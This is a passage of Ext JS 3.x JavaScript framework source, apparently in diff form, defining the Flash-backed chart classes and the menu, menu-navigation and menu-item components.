size:11}, dataTip:{padding:5, border:{color:10075112, size:1}, background:{color:14346230, alpha:0.9}, font:{name:"Tahoma", color:1393291, size:10, bold:true}}}, extraStyle:null, seriesStyles:null, disableCaching:Ext.isIE || Ext.isOpera, disableCacheParam:"_dc", initComponent:function () { + Ext.chart.Chart.superclass.initComponent.call(this); + if (!this.url) { + this.url = Ext.chart.Chart.CHART_URL + } + if (this.disableCaching) { + this.url = Ext.urlAppend(this.url, String.format("{0}={1}", this.disableCacheParam, new Date().getTime())) + } + this.addEvents("itemmouseover", "itemmouseout", "itemclick", "itemdoubleclick", "itemdragstart", "itemdrag", "itemdragend", "beforerefresh", "refresh"); + this.store = Ext.StoreMgr.lookup(this.store) +}, setStyle:function (a, b) { + this.swf.setStyle(a, Ext.encode(b)) +}, setStyles:function (a) { + this.swf.setStyles(Ext.encode(a)) +}, setSeriesStyles:function (b) { + this.seriesStyles = b; + var a = []; + Ext.each(b, function (c) { + a.push(Ext.encode(c)) + }); + this.swf.setSeriesStyles(a) +}, setCategoryNames:function (a) { + this.swf.setCategoryNames(a) +}, setLegendRenderer:function (c, b) { + var a = this; + b = b || a; + a.removeFnProxy(a.legendFnName); + a.legendFnName = a.createFnProxy(function (d) { + return c.call(b, d) + }); + a.swf.setLegendLabelFunction(a.legendFnName) +}, setTipRenderer:function (c, b) { + var a = this; + b = b || a; + a.removeFnProxy(a.tipFnName); + a.tipFnName = a.createFnProxy(function (h, e, g) { + var d = a.store.getAt(e); + return c.call(b, a, d, e, g) + }); + a.swf.setDataTipFunction(a.tipFnName) +}, setSeries:function (a) { + this.series = a; + this.refresh() +}, bindStore:function (a, b) { + if (!b && this.store) { + if (a !== this.store && this.store.autoDestroy) { + this.store.destroy() + } else { + this.store.un("datachanged", this.refresh, this); + this.store.un("add", this.delayRefresh, this); + this.store.un("remove", this.delayRefresh, this); + this.store.un("update", this.delayRefresh, this); + this.store.un("clear", this.refresh, this) + } + } + if (a) { + a = Ext.StoreMgr.lookup(a); + a.on({scope:this, datachanged:this.refresh, add:this.delayRefresh, remove:this.delayRefresh, update:this.delayRefresh, clear:this.refresh}) + } + this.store = a; + if (a && !b) { + this.refresh() + } +}, onSwfReady:function (b) { + Ext.chart.Chart.superclass.onSwfReady.call(this, b); + var a; + this.swf.setType(this.type); + if (this.chartStyle) { + this.setStyles(Ext.apply({}, this.extraStyle, this.chartStyle)) + } + if (this.categoryNames) { + this.setCategoryNames(this.categoryNames) + } + if (this.tipRenderer) { + a = this.getFunctionRef(this.tipRenderer); + this.setTipRenderer(a.fn, a.scope) + } + if (this.legendRenderer) { + a = this.getFunctionRef(this.legendRenderer); + this.setLegendRenderer(a.fn, a.scope) + } + if (!b) { + this.bindStore(this.store, true) + } + this.refresh.defer(10, this) +}, delayRefresh:function () { + if (!this.refreshTask) { + this.refreshTask = new Ext.util.DelayedTask(this.refresh, this) + } + this.refreshTask.delay(this.refreshBuffer) +}, refresh:function () { + if (this.fireEvent("beforerefresh", this) !== false) { + var m = false; + var k = [], c = this.store.data.items; + for (var g = 0, l = c.length; g < l; g++) { + k[g] = c[g].data + } + var e = []; + var d = 0; + var n = null; + var h = 0; + if (this.series) { + d = this.series.length; + for (h = 0; h < d; h++) { + n = this.series[h]; + var b = {}; + for (var a in n) { + if (a == "style" && n.style !== null) { + b.style = Ext.encode(n.style); + m = true + } else { + b[a] = n[a] + } + } + e.push(b) + } + } + if (d > 0) { + for (h = 0; h < d; h++) { + n = e[h]; + if (!n.type) { + n.type = this.type + } + n.dataProvider = k + } + } else { + e.push({type:this.type, dataProvider:k}) + } + this.swf.setDataProvider(e); + if (this.seriesStyles) { + this.setSeriesStyles(this.seriesStyles) + } + this.fireEvent("refresh", this) + } +}, createFnProxy:function (a) { + var b = "extFnProxy" + (++Ext.chart.Chart.PROXY_FN_ID); + Ext.chart.Chart.proxyFunction[b] = a; + return"Ext.chart.Chart.proxyFunction." + b +}, removeFnProxy:function (a) { + if (!Ext.isEmpty(a)) { + a = a.replace("Ext.chart.Chart.proxyFunction.", ""); + delete Ext.chart.Chart.proxyFunction[a] + } +}, getFunctionRef:function (a) { + if (Ext.isFunction(a)) { + return{fn:a, scope:this} + } else { + return{fn:a.fn, scope:a.scope || this} + } +}, onDestroy:function () { + if (this.refreshTask && this.refreshTask.cancel) { + this.refreshTask.cancel() + } + Ext.chart.Chart.superclass.onDestroy.call(this); + this.bindStore(null); + this.removeFnProxy(this.tipFnName); + this.removeFnProxy(this.legendFnName) +}}); +Ext.reg("chart", Ext.chart.Chart); +Ext.chart.Chart.PROXY_FN_ID = 0; +Ext.chart.Chart.proxyFunction = {}; +Ext.chart.Chart.CHART_URL = "http://yui.yahooapis.com/2.8.2/build/charts/assets/charts.swf"; +Ext.chart.PieChart = Ext.extend(Ext.chart.Chart, {type:"pie", onSwfReady:function (a) { + Ext.chart.PieChart.superclass.onSwfReady.call(this, a); + this.setDataField(this.dataField); + this.setCategoryField(this.categoryField) +}, setDataField:function (a) { + this.dataField = a; + this.swf.setDataField(a) +}, setCategoryField:function (a) { + this.categoryField = a; + this.swf.setCategoryField(a) +}}); +Ext.reg("piechart", Ext.chart.PieChart); +Ext.chart.CartesianChart = Ext.extend(Ext.chart.Chart, {onSwfReady:function (a) { + Ext.chart.CartesianChart.superclass.onSwfReady.call(this, a); + this.labelFn = []; + if (this.xField) { + this.setXField(this.xField) + } + if (this.yField) { + this.setYField(this.yField) + } + if (this.xAxis) { + this.setXAxis(this.xAxis) + } + if (this.xAxes) { + this.setXAxes(this.xAxes) + } + if (this.yAxis) { + this.setYAxis(this.yAxis) + } + if (this.yAxes) { + this.setYAxes(this.yAxes) + } + if (Ext.isDefined(this.constrainViewport)) { + this.swf.setConstrainViewport(this.constrainViewport) + } +}, setXField:function (a) { + this.xField = a; + this.swf.setHorizontalField(a) +}, setYField:function (a) { + this.yField = a; + this.swf.setVerticalField(a) +}, setXAxis:function (a) { + this.xAxis = this.createAxis("xAxis", a); + this.swf.setHorizontalAxis(this.xAxis) +}, setXAxes:function (c) { + var b; + for (var a = 0; a < c.length; a++) { + b = this.createAxis("xAxis" + a, c[a]); + this.swf.setHorizontalAxis(b) + } +}, setYAxis:function (a) { + this.yAxis = this.createAxis("yAxis", a); + this.swf.setVerticalAxis(this.yAxis) +}, setYAxes:function (c) { + var b; + for (var a = 0; a < c.length; a++) { + b = this.createAxis("yAxis" + a, c[a]); + this.swf.setVerticalAxis(b) + } +}, createAxis:function (b, d) { + var e = Ext.apply({}, d), c, a; + if (this[b]) { + a = this[b].labelFunction; + this.removeFnProxy(a); + this.labelFn.remove(a) + } + if (e.labelRenderer) { + c = this.getFunctionRef(e.labelRenderer); + e.labelFunction = this.createFnProxy(function (g) { + return c.fn.call(c.scope, g) + }); + delete e.labelRenderer; + this.labelFn.push(e.labelFunction) + } + if (b.indexOf("xAxis") > -1 && e.position == "left") { + e.position = "bottom" + } + return e +}, onDestroy:function () { + Ext.chart.CartesianChart.superclass.onDestroy.call(this); + Ext.each(this.labelFn, function (a) { + this.removeFnProxy(a) + }, this) +}}); +Ext.reg("cartesianchart", Ext.chart.CartesianChart); +Ext.chart.LineChart = Ext.extend(Ext.chart.CartesianChart, {type:"line"}); +Ext.reg("linechart", Ext.chart.LineChart); +Ext.chart.ColumnChart = Ext.extend(Ext.chart.CartesianChart, {type:"column"}); +Ext.reg("columnchart", Ext.chart.ColumnChart); +Ext.chart.StackedColumnChart = Ext.extend(Ext.chart.CartesianChart, {type:"stackcolumn"}); +Ext.reg("stackedcolumnchart", Ext.chart.StackedColumnChart); +Ext.chart.BarChart = Ext.extend(Ext.chart.CartesianChart, {type:"bar"}); +Ext.reg("barchart", Ext.chart.BarChart); +Ext.chart.StackedBarChart = Ext.extend(Ext.chart.CartesianChart, {type:"stackbar"}); +Ext.reg("stackedbarchart", Ext.chart.StackedBarChart); +Ext.chart.Axis = function (a) { + Ext.apply(this, a) +}; +Ext.chart.Axis.prototype = {type:null, orientation:"horizontal", reverse:false, labelFunction:null, hideOverlappingLabels:true, labelSpacing:2}; +Ext.chart.NumericAxis = Ext.extend(Ext.chart.Axis, {type:"numeric", minimum:NaN, maximum:NaN, majorUnit:NaN, minorUnit:NaN, snapToUnits:true, alwaysShowZero:true, scale:"linear", roundMajorUnit:true, calculateByLabelSize:true, position:"left", adjustMaximumByMajorUnit:true, adjustMinimumByMajorUnit:true}); +Ext.chart.TimeAxis = Ext.extend(Ext.chart.Axis, {type:"time", minimum:null, maximum:null, majorUnit:NaN, majorTimeUnit:null, minorUnit:NaN, minorTimeUnit:null, snapToUnits:true, stackingEnabled:false, calculateByLabelSize:true}); +Ext.chart.CategoryAxis = Ext.extend(Ext.chart.Axis, {type:"category", categoryNames:null, calculateCategoryCount:false}); +Ext.chart.Series = function (a) { + Ext.apply(this, a) +}; +Ext.chart.Series.prototype = {type:null, displayName:null}; +Ext.chart.CartesianSeries = Ext.extend(Ext.chart.Series, {xField:null, yField:null, showInLegend:true, axis:"primary"}); +Ext.chart.ColumnSeries = Ext.extend(Ext.chart.CartesianSeries, {type:"column"}); +Ext.chart.LineSeries = Ext.extend(Ext.chart.CartesianSeries, {type:"line"}); +Ext.chart.BarSeries = Ext.extend(Ext.chart.CartesianSeries, {type:"bar"}); +Ext.chart.PieSeries = Ext.extend(Ext.chart.Series, {type:"pie", dataField:null, categoryField:null}); +Ext.menu.Menu = Ext.extend(Ext.Container, {minWidth:120, shadow:"sides", subMenuAlign:"tl-tr?", defaultAlign:"tl-bl?", allowOtherMenus:false, ignoreParentClicks:false, enableScrolling:true, maxHeight:null, scrollIncrement:24, showSeparator:true, defaultOffsets:[0, 0], plain:false, floating:true, zIndex:15000, hidden:true, layout:"menu", hideMode:"offsets", scrollerHeight:8, autoLayout:true, defaultType:"menuitem", bufferResize:false, initComponent:function () { + if (Ext.isArray(this.initialConfig)) { + Ext.apply(this, {items:this.initialConfig}) + } + this.addEvents("click", "mouseover", "mouseout", "itemclick"); + Ext.menu.MenuMgr.register(this); + if (this.floating) { + Ext.EventManager.onWindowResize(this.hide, this) + } else { + if (this.initialConfig.hidden !== false) { + this.hidden = false + } + this.internalDefaults = {hideOnClick:false} + } + Ext.menu.Menu.superclass.initComponent.call(this); + if (this.autoLayout) { + var a = this.doLayout.createDelegate(this, []); + this.on({add:a, remove:a}) + } +}, getLayoutTarget:function () { + return this.ul +}, onRender:function (b, a) { + if (!b) { + b = Ext.getBody() + } + var c = {id:this.getId(), cls:"x-menu " + ((this.floating) ? "x-menu-floating x-layer " : "") + (this.cls || "") + (this.plain ? " x-menu-plain" : "") + (this.showSeparator ? "" : " x-menu-nosep"), style:this.style, cn:[ + {tag:"a", cls:"x-menu-focus", href:"#", onclick:"return false;", tabIndex:"-1"}, + {tag:"ul", cls:"x-menu-list"} + ]}; + if (this.floating) { + this.el = new Ext.Layer({shadow:this.shadow, dh:c, constrain:false, parentEl:b, zindex:this.zIndex}) + } else { + this.el = b.createChild(c) + } + Ext.menu.Menu.superclass.onRender.call(this, b, a); + if (!this.keyNav) { + this.keyNav = new Ext.menu.MenuNav(this) + } + this.focusEl = this.el.child("a.x-menu-focus"); + this.ul = this.el.child("ul.x-menu-list"); + this.mon(this.ul, {scope:this, click:this.onClick, mouseover:this.onMouseOver, mouseout:this.onMouseOut}); + if (this.enableScrolling) { + this.mon(this.el, {scope:this, delegate:".x-menu-scroller", click:this.onScroll, mouseover:this.deactivateActive}) + } +}, findTargetItem:function (b) { + var a = b.getTarget(".x-menu-list-item", this.ul, true); + if (a && a.menuItemId) { + return this.items.get(a.menuItemId) + } +}, onClick:function (b) { + var a = this.findTargetItem(b); + if (a) { + if (a.isFormField) { + this.setActiveItem(a) + } else { + if (a instanceof Ext.menu.BaseItem) { + if (a.menu && this.ignoreParentClicks) { + a.expandMenu(); + b.preventDefault() + } else { + if (a.onClick) { + a.onClick(b); + this.fireEvent("click", this, a, b) + } + } + } + } + } +}, setActiveItem:function (a, b) { + if (a != this.activeItem) { + this.deactivateActive(); + if ((this.activeItem = a).isFormField) { + a.focus() + } else { + a.activate(b) + } + } else { + if (b) { + a.expandMenu() + } + } +}, deactivateActive:function () { + var b = this.activeItem; + if (b) { + if (b.isFormField) { + if (b.collapse) { + b.collapse() + } + } else { + b.deactivate() + } + delete this.activeItem + } +}, tryActivate:function (g, e) { + var b = this.items; + for (var c = g, a = b.length; c >= 0 && c < a; c += e) { + var d = b.get(c); + if (d.isVisible() && !d.disabled && (d.canActivate || d.isFormField)) { + this.setActiveItem(d, false); + return d + } + } + return false +}, onMouseOver:function (b) { + var a = this.findTargetItem(b); + if (a) { + if (a.canActivate && !a.disabled) { + this.setActiveItem(a, true) + } + } + this.over = true; + this.fireEvent("mouseover", this, b, a) +}, onMouseOut:function (b) { + var a = this.findTargetItem(b); + if (a) { + if (a == this.activeItem && a.shouldDeactivate && a.shouldDeactivate(b)) { + this.activeItem.deactivate(); + delete this.activeItem + } + } + this.over = false; + this.fireEvent("mouseout", this, b, a) +}, onScroll:function (d, b) { + if (d) { + d.stopEvent() + } + var a = this.ul.dom, c = Ext.fly(b).is(".x-menu-scroller-top"); + a.scrollTop += this.scrollIncrement * (c ? -1 : 1); + if (c ? a.scrollTop <= 0 : a.scrollTop + this.activeMax >= a.scrollHeight) { + this.onScrollerOut(null, b) + } +}, onScrollerIn:function (d, b) { + var a = this.ul.dom, c = Ext.fly(b).is(".x-menu-scroller-top"); + if (c ? a.scrollTop > 0 : a.scrollTop + this.activeMax < a.scrollHeight) { + Ext.fly(b).addClass(["x-menu-item-active", "x-menu-scroller-active"]) + } +}, onScrollerOut:function (b, a) { + Ext.fly(a).removeClass(["x-menu-item-active", "x-menu-scroller-active"]) +}, show:function (b, c, a) { + if (this.floating) { + this.parentMenu = a; + if (!this.el) { + this.render(); + this.doLayout(false, true) + } + this.showAt(this.el.getAlignToXY(b, c || this.defaultAlign, this.defaultOffsets), a) + } else { + Ext.menu.Menu.superclass.show.call(this) + } +}, showAt:function (b, a) { + if (this.fireEvent("beforeshow", this) !== false) { + this.parentMenu = a; + if (!this.el) { + this.render() + } + if (this.enableScrolling) { + this.el.setXY(b); + b[1] = this.constrainScroll(b[1]); + b = [this.el.adjustForConstraints(b)[0], b[1]] + } else { + b = this.el.adjustForConstraints(b) + } + this.el.setXY(b); + this.el.show(); + Ext.menu.Menu.superclass.onShow.call(this); + if (Ext.isIE) { + this.fireEvent("autosize", this); + if (!Ext.isIE8) { + this.el.repaint() + } + } + this.hidden = false; + this.focus(); + this.fireEvent("show", this) + } +}, constrainScroll:function (i) { + var b, d = this.ul.setHeight("auto").getHeight(), a = i, h, e, g, c; + if (this.floating) { + e = Ext.fly(this.el.dom.parentNode); + g = e.getScroll().top; + c = e.getViewSize().height; + h = i - g; + b = this.maxHeight ? this.maxHeight : c - h; + if (d > c) { + b = c; + a = i - h + } else { + if (b < d) { + a = i - (d - b); + b = d + } + } + } else { + b = this.getHeight() + } + if (this.maxHeight) { + b = Math.min(this.maxHeight, b) + } + if (d > b && b > 0) { + this.activeMax = b - this.scrollerHeight * 2 - this.el.getFrameWidth("tb") - Ext.num(this.el.shadowOffset, 0); + this.ul.setHeight(this.activeMax); + this.createScrollers(); + this.el.select(".x-menu-scroller").setDisplayed("") + } else { + this.ul.setHeight(d); + this.el.select(".x-menu-scroller").setDisplayed("none") + } + this.ul.dom.scrollTop = 0; + return a +}, createScrollers:function () { + if (!this.scroller) { + this.scroller = {pos:0, top:this.el.insertFirst({tag:"div", cls:"x-menu-scroller x-menu-scroller-top", html:" "}), bottom:this.el.createChild({tag:"div", cls:"x-menu-scroller x-menu-scroller-bottom", html:" "})}; + this.scroller.top.hover(this.onScrollerIn, this.onScrollerOut, this); + this.scroller.topRepeater = new Ext.util.ClickRepeater(this.scroller.top, {listeners:{click:this.onScroll.createDelegate(this, [null, this.scroller.top], false)}}); + this.scroller.bottom.hover(this.onScrollerIn, this.onScrollerOut, this); + this.scroller.bottomRepeater = new Ext.util.ClickRepeater(this.scroller.bottom, {listeners:{click:this.onScroll.createDelegate(this, [null, this.scroller.bottom], false)}}) + } +}, onLayout:function () { + if (this.isVisible()) { + if (this.enableScrolling) { + this.constrainScroll(this.el.getTop()) + } + if (this.floating) { + this.el.sync() + } + } +}, focus:function () { + if (!this.hidden) { + this.doFocus.defer(50, this) + } +}, doFocus:function () { + if (!this.hidden) { + this.focusEl.focus() + } +}, hide:function (a) { + if (!this.isDestroyed) { + this.deepHide = a; + Ext.menu.Menu.superclass.hide.call(this); + delete this.deepHide + } +}, onHide:function () { + Ext.menu.Menu.superclass.onHide.call(this); + this.deactivateActive(); + if (this.el && this.floating) { + this.el.hide() + } + var a = this.parentMenu; + if (this.deepHide === true && a) { + if (a.floating) { + a.hide(true) + } else { + a.deactivateActive() + } + } +}, lookupComponent:function (a) { + if (Ext.isString(a)) { + a = (a == "separator" || a == "-") ? new Ext.menu.Separator() : new Ext.menu.TextItem(a); + this.applyDefaults(a) + } else { + if (Ext.isObject(a)) { + a = this.getMenuItem(a) + } else { + if (a.tagName || a.el) { + a = new Ext.BoxComponent({el:a}) + } + } + } + return a +}, applyDefaults:function (b) { + if (!Ext.isString(b)) { + b = Ext.menu.Menu.superclass.applyDefaults.call(this, b); + var a = this.internalDefaults; + if (a) { + if (b.events) { + Ext.applyIf(b.initialConfig, a); + Ext.apply(b, a) + } else { + Ext.applyIf(b, a) + } + } + } + return b +}, getMenuItem:function (a) { + a.ownerCt = this; + if (!a.isXType) { + if (!a.xtype && Ext.isBoolean(a.checked)) { + return new Ext.menu.CheckItem(a) + } + return Ext.create(a, this.defaultType) + } + return a +}, addSeparator:function () { + return this.add(new Ext.menu.Separator()) +}, addElement:function (a) { + return this.add(new Ext.menu.BaseItem({el:a})) +}, addItem:function (a) { + return this.add(a) +}, addMenuItem:function (a) { + return this.add(this.getMenuItem(a)) +}, addText:function (a) { + return this.add(new Ext.menu.TextItem(a)) +}, onDestroy:function () { + Ext.EventManager.removeResizeListener(this.hide, this); + var a = this.parentMenu; + if (a && a.activeChild == this) { + delete a.activeChild + } + delete this.parentMenu; + Ext.menu.Menu.superclass.onDestroy.call(this); + Ext.menu.MenuMgr.unregister(this); + if (this.keyNav) { + this.keyNav.disable() + } + var b = this.scroller; + if (b) { + Ext.destroy(b.topRepeater, b.bottomRepeater, b.top, b.bottom) + } + Ext.destroy(this.el, this.focusEl, this.ul) +}}); +Ext.reg("menu", Ext.menu.Menu); +Ext.menu.MenuNav = Ext.extend(Ext.KeyNav, function () { + function a(d, c) { + if (!c.tryActivate(c.items.indexOf(c.activeItem) - 1, -1)) { + c.tryActivate(c.items.length - 1, -1) + } + } + + function b(d, c) { + if (!c.tryActivate(c.items.indexOf(c.activeItem) + 1, 1)) { + c.tryActivate(0, 1) + } + } + + return{constructor:function (c) { + Ext.menu.MenuNav.superclass.constructor.call(this, c.el); + this.scope = this.menu = c + }, doRelay:function (g, d) { + var c = g.getKey(); + if (this.menu.activeItem && this.menu.activeItem.isFormField && c != g.TAB) { + return false + } + if (!this.menu.activeItem && g.isNavKeyPress() && c != g.SPACE && c != g.RETURN) { + this.menu.tryActivate(0, 1); + return false + } + return d.call(this.scope || this, g, this.menu) + }, tab:function (d, c) { + d.stopEvent(); + if (d.shiftKey) { + a(d, c) + } else { + b(d, c) + } + }, up:a, down:b, right:function (d, c) { + if (c.activeItem) { + c.activeItem.expandMenu(true) + } + }, left:function (d, c) { + c.hide(); + if (c.parentMenu && c.parentMenu.activeItem) { + c.parentMenu.activeItem.activate() + } + }, enter:function (d, c) { + if (c.activeItem) { + d.stopPropagation(); + c.activeItem.onClick(d); + c.fireEvent("click", this, c.activeItem); + return true + } + }} +}()); +Ext.menu.MenuMgr = function () { + var h, e, b, d = {}, a = false, l = new Date(); + + function n() { + h = {}; + e = new Ext.util.MixedCollection(); + b = Ext.getDoc().addKeyListener(27, j); + b.disable() + } + + function j() { + if (e && e.length > 0) { + var o = e.clone(); + o.each(function (p) { + p.hide() + }); + return true + } + return false + } + + function g(o) { + e.remove(o); + if (e.length < 1) { + b.disable(); + Ext.getDoc().un("mousedown", m); + a = false + } + } + + function k(o) { + var p = e.last(); + l = new Date(); + e.add(o); + if (!a) { + b.enable(); + Ext.getDoc().on("mousedown", m); + a = true + } + if (o.parentMenu) { + o.getEl().setZIndex(parseInt(o.parentMenu.getEl().getStyle("z-index"), 10) + 3); + o.parentMenu.activeChild = o + } else { + if (p && !p.isDestroyed && p.isVisible()) { + o.getEl().setZIndex(parseInt(p.getEl().getStyle("z-index"), 10) + 3) + } + } + } + + function c(o) { + if (o.activeChild) { + o.activeChild.hide() + } + if (o.autoHideTimer) { + clearTimeout(o.autoHideTimer); + delete o.autoHideTimer + } + } + + function i(o) { + var p = o.parentMenu; + if (!p && !o.allowOtherMenus) { + j() + } else { + if (p && p.activeChild) { + p.activeChild.hide() + } + } + } + + function m(o) { + if (l.getElapsed() > 50 && e.length > 0 && !o.getTarget(".x-menu")) { + j() + } + } + + return{hideAll:function () { + return j() + }, register:function (o) { + if (!h) { + n() + } + h[o.id] = o; + o.on({beforehide:c, hide:g, beforeshow:i, show:k}) + }, get:function (o) { + if (typeof o == "string") { + if (!h) { + return null + } + return h[o] + } else { + if (o.events) { + return o + } else { + if (typeof o.length == "number") { + return new Ext.menu.Menu({items:o}) + } else { + return Ext.create(o, "menu") + } + } + } + }, unregister:function (o) { + delete h[o.id]; + o.un("beforehide", c); + o.un("hide", g); + o.un("beforeshow", i); + o.un("show", k) + }, registerCheckable:function (o) { + var p = o.group; + if (p) { + if (!d[p]) { + d[p] = [] + } + d[p].push(o) + } + }, unregisterCheckable:function (o) { + var p = o.group; + if (p) { + d[p].remove(o) + } + }, onCheckChange:function (q, r) { + if (q.group && r) { + var t = d[q.group], p = 0, o = t.length, s; + for (; p < o; p++) { + s = t[p]; + if (s != q) { + s.setChecked(false) + } + } + } + }, getCheckedItem:function (q) { + var r = d[q]; + if (r) { + for (var p = 0, o = r.length; p < o; p++) { + if (r[p].checked) { + return r[p] + } + } + } + return null + }, setCheckedItem:function (q, s) { + var r = d[q]; + if (r) { + for (var p = 0, o = r.length; p < o; p++) { + if (r[p].id == s) { + r[p].setChecked(true) + } + } + } + return null + }} +}(); +Ext.menu.BaseItem = Ext.extend(Ext.Component, {canActivate:false, activeClass:"x-menu-item-active", hideOnClick:true, clickHideDelay:1, ctype:"Ext.menu.BaseItem", actionMode:"container", initComponent:function () { + Ext.menu.BaseItem.superclass.initComponent.call(this); + this.addEvents("click", "activate", "deactivate"); + if (this.handler) { + this.on("click", this.handler, this.scope) + } +}, onRender:function (b, a) { + Ext.menu.BaseItem.superclass.onRender.apply(this, arguments); + if (this.ownerCt && this.ownerCt instanceof Ext.menu.Menu) { + this.parentMenu = this.ownerCt + } else { + this.container.addClass("x-menu-list-item"); + this.mon(this.el, {scope:this, click:this.onClick, mouseenter:this.activate, mouseleave:this.deactivate}) + } +}, setHandler:function (b, a) { + if (this.handler) { + this.un("click", this.handler, this.scope) + } + this.on("click", this.handler = b, this.scope = a) +}, onClick:function (a) { + if (!this.disabled && this.fireEvent("click", this, a) !== false && (this.parentMenu && this.parentMenu.fireEvent("itemclick", this, a) !== false)) { + this.handleClick(a) + } else { + a.stopEvent() + } +}, activate:function () { + if (this.disabled) { + return false + } + var a = this.container; + a.addClass(this.activeClass); + this.region = a.getRegion().adjust(2, 2, -2, -2); + this.fireEvent("activate", this); + return true +}, deactivate:function () { + this.container.removeClass(this.activeClass); + this.fireEvent("deactivate", this) +}, shouldDeactivate:function (a) { + return !this.region || !this.region.contains(a.getPoint()) +}, handleClick:function (b) { + var a = this.parentMenu; + if (this.hideOnClick) { + if (a.floating) { + this.clickHideDelayTimer = a.hide.defer(this.clickHideDelay, a, [true]) + } else { + a.deactivateActive() + } + } +}, beforeDestroy:function () { + clearTimeout(this.clickHideDelayTimer); + Ext.menu.BaseItem.superclass.beforeDestroy.call(this) +}, expandMenu:Ext.emptyFn, hideMenu:Ext.emptyFn}); +Ext.reg("menubaseitem", Ext.menu.BaseItem); +Ext.menu.TextItem = Ext.extend(Ext.menu.BaseItem, {hideOnClick:false, itemCls:"x-menu-text", constructor:function (a) { + if (typeof a == "string") { + a = {text:a} + } + Ext.menu.TextItem.superclass.constructor.call(this, a) +}, onRender:function () { + var a = document.createElement("span"); + a.className = this.itemCls; + a.innerHTML = this.text; + this.el = a; + Ext.menu.TextItem.superclass.onRender.apply(this, arguments) +}}); +Ext.reg("menutextitem", Ext.menu.TextItem); +Ext.menu.Separator = Ext.extend(Ext.menu.BaseItem, {itemCls:"x-menu-sep", hideOnClick:false, activeClass:"", onRender:function (a) { + var b = document.createElement("span"); + b.className = this.itemCls; + b.innerHTML = " "; + this.el = b; + a.addClass("x-menu-sep-li"); + Ext.menu.Separator.superclass.onRender.apply(this, arguments) +}}); +Ext.reg("menuseparator", Ext.menu.Separator); +Ext.menu.Item = Ext.extend(Ext.menu.BaseItem, {itemCls:"x-menu-item", canActivate:true, showDelay:200, altText:"", hideDelay:200, ctype:"Ext.menu.Item", initComponent:function () { + Ext.menu.Item.superclass.initComponent.call(this); + if (this.menu) { + if (Ext.isArray(this.menu)) { + this.menu = {items:this.menu} + } + if (Ext.isObject(this.menu)) { + this.menu.ownerCt = this + } + this.menu = Ext.menu.MenuMgr.get(this.menu); + this.menu.ownerCt = undefined + } +}, onRender:function (d, b) { + if (!this.itemTpl) { + this.itemTpl = Ext.menu.Item.prototype.itemTpl = new Ext.XTemplate('', ' target="{hrefTarget}"', "", ">", '{altText}', '{text}', "") + } + var c = this.getTemplateArgs(); + this.el = b ? this.itemTpl.insertBefore(b, c, true) : this.itemTpl.append(d, c, true); + this.iconEl = this.el.child("img.x-menu-item-icon"); + this.textEl = this.el.child(".x-menu-item-text"); + if (!this.href) { + this.mon(this.el, "click", Ext.emptyFn, null, {preventDefault:true}) + } + Ext.menu.Item.superclass.onRender.call(this, d, b) +}, getTemplateArgs:function () { + return{id:this.id, cls:this.itemCls + (this.menu ? " x-menu-item-arrow" : "") + (this.cls ? " " + this.cls : ""), href:this.href || "#", hrefTarget:this.hrefTarget, icon:this.icon || Ext.BLANK_IMAGE_URL, iconCls:this.iconCls || "", text:this.itemText || this.text || " ", altText:this.altText || ""} +}, setText:function (a) { + this.text = a || " "; + if (this.rendered) { + this.textEl.update(this.text); + this.parentMenu.layout.doAutoSize() + } +}, setIconClass:function (a) { + var b = this.iconCls; + this.iconCls = a; + if (this.rendered) { + this.iconEl.replaceClass(b, this.iconCls) + } +}, beforeDestroy:function () { + clearTimeout(this.showTimer); + clearTimeout(this.hideTimer); + if (this.menu) { + delete this.menu.ownerCt; + this.menu.destroy() + } + Ext.menu.Item.superclass.beforeDestroy.call(this) +}, handleClick:function (a) { + if (!this.href) { + a.stopEvent() + } + Ext.menu.Item.superclass.handleClick.apply(this, arguments) +}, activate:function (a) { + if (Ext.menu.Item.superclass.activate.apply(this, arguments)) { + this.focus(); + if (a) { + this.expandMenu() + } + } + return true +}, shouldDeactivate:function (a) { + if (Ext.menu.Item.superclass.shouldDeactivate.call(this, a)) { + if (this.menu && this.menu.isVisible()) { + return !this.menu.getEl().getRegion().contains(a.getPoint()) + } + return true + } + return false +}, deactivate:function () { + Ext.menu.Item.superclass.deactivate.apply(this, arguments); + this.hideMenu() +}, expandMenu:function (a) { + if (!this.disabled && this.menu) { + clearTimeout(this.hideTimer); + delete this.hideTimer; + if (!this.menu.isVisible() && !this.showTimer) { + this.showTimer = this.deferExpand.defer(this.showDelay, this, [a]) + } else { + if (this.menu.isVisible() && a) { + this.menu.tryActivate(0, 1) + } + } + } +}, deferExpand:function (a) { + delete this.showTimer; + this.menu.show(this.container, this.parentMenu.subMenuAlign || "tl-tr?", this.parentMenu); + if (a) { + this.menu.tryActivate(0, 1) + } +}, hideMenu:function () { + clearTimeout(this.showTimer); + delete this.showTimer; + if (!this.hideTimer && this.menu && this.menu.isVisible()) { + this.hideTimer = this.deferHide.defer(this.hideDelay, this) + } +}, deferHide:function () { + delete this.hideTimer; + if (this.menu.over) { + this.parentMenu.setActiveItem(this, false) + } else { + this.menu.hide() + } +}}); +Ext.reg("menuitem", Ext.menu.Item); +Ext.menu.CheckItem = Ext.extend(Ext.menu.Item, {itemCls:"x-menu-item x-menu-check-item", groupClass:"x-menu-group-item", checked:false, ctype:"Ext.menu.CheckItem", initComponent:function () { + Ext.menu.CheckItem.superclass.initComponent.call(this); + this.addEvents("beforecheckchange", "checkchange"); + if (this.checkHandler) { + this.on("checkchange", this.checkHandler, this.scope) + } + Ext.menu.MenuMgr.registerCheckable(this) +}, onRender:function (a) { + Ext.menu.CheckItem.superclass.onRender.apply(this, arguments); + if (this.group) { + this.el.addClass(this.groupClass) + } + if (this.checked) { + this.checked = false; + this.setChecked(true, true) + } +}, destroy:function () { + Ext.menu.MenuMgr.unregisterCheckable(this); + Ext.menu.CheckItem.superclass.destroy.apply(this, arguments) +}, setChecked:function (b, a) { + var c = a === true; + if (this.checked != b && (c || this.fireEvent("beforecheckchange", this, b) !== false)) { + Ext.menu.MenuMgr.onCheckChange(this, b); + if (this.container) { + this.container[b ? "addClass" : "removeClass"]("x-menu-item-checked") + } + this.checked = b; + if (!c) { + this.fireEvent("checkchange", this, b) + } + } +}, handleClick:function (a) { + if (!this.disabled && !(this.checked && this.group)) { + this.setChecked(!this.checked) + } + Ext.menu.CheckItem.superclass.handleClick.apply(this, arguments) +}}); +Ext.reg("menucheckitem", Ext.menu.CheckItem); +Ext.menu.DateMenu = Ext.extend(Ext.menu.Menu, {enableScrolling:false, hideOnClick:true, pickerId:null, cls:"x-date-menu", initComponent:function () { + this.on("beforeshow", this.onBeforeShow, this); + 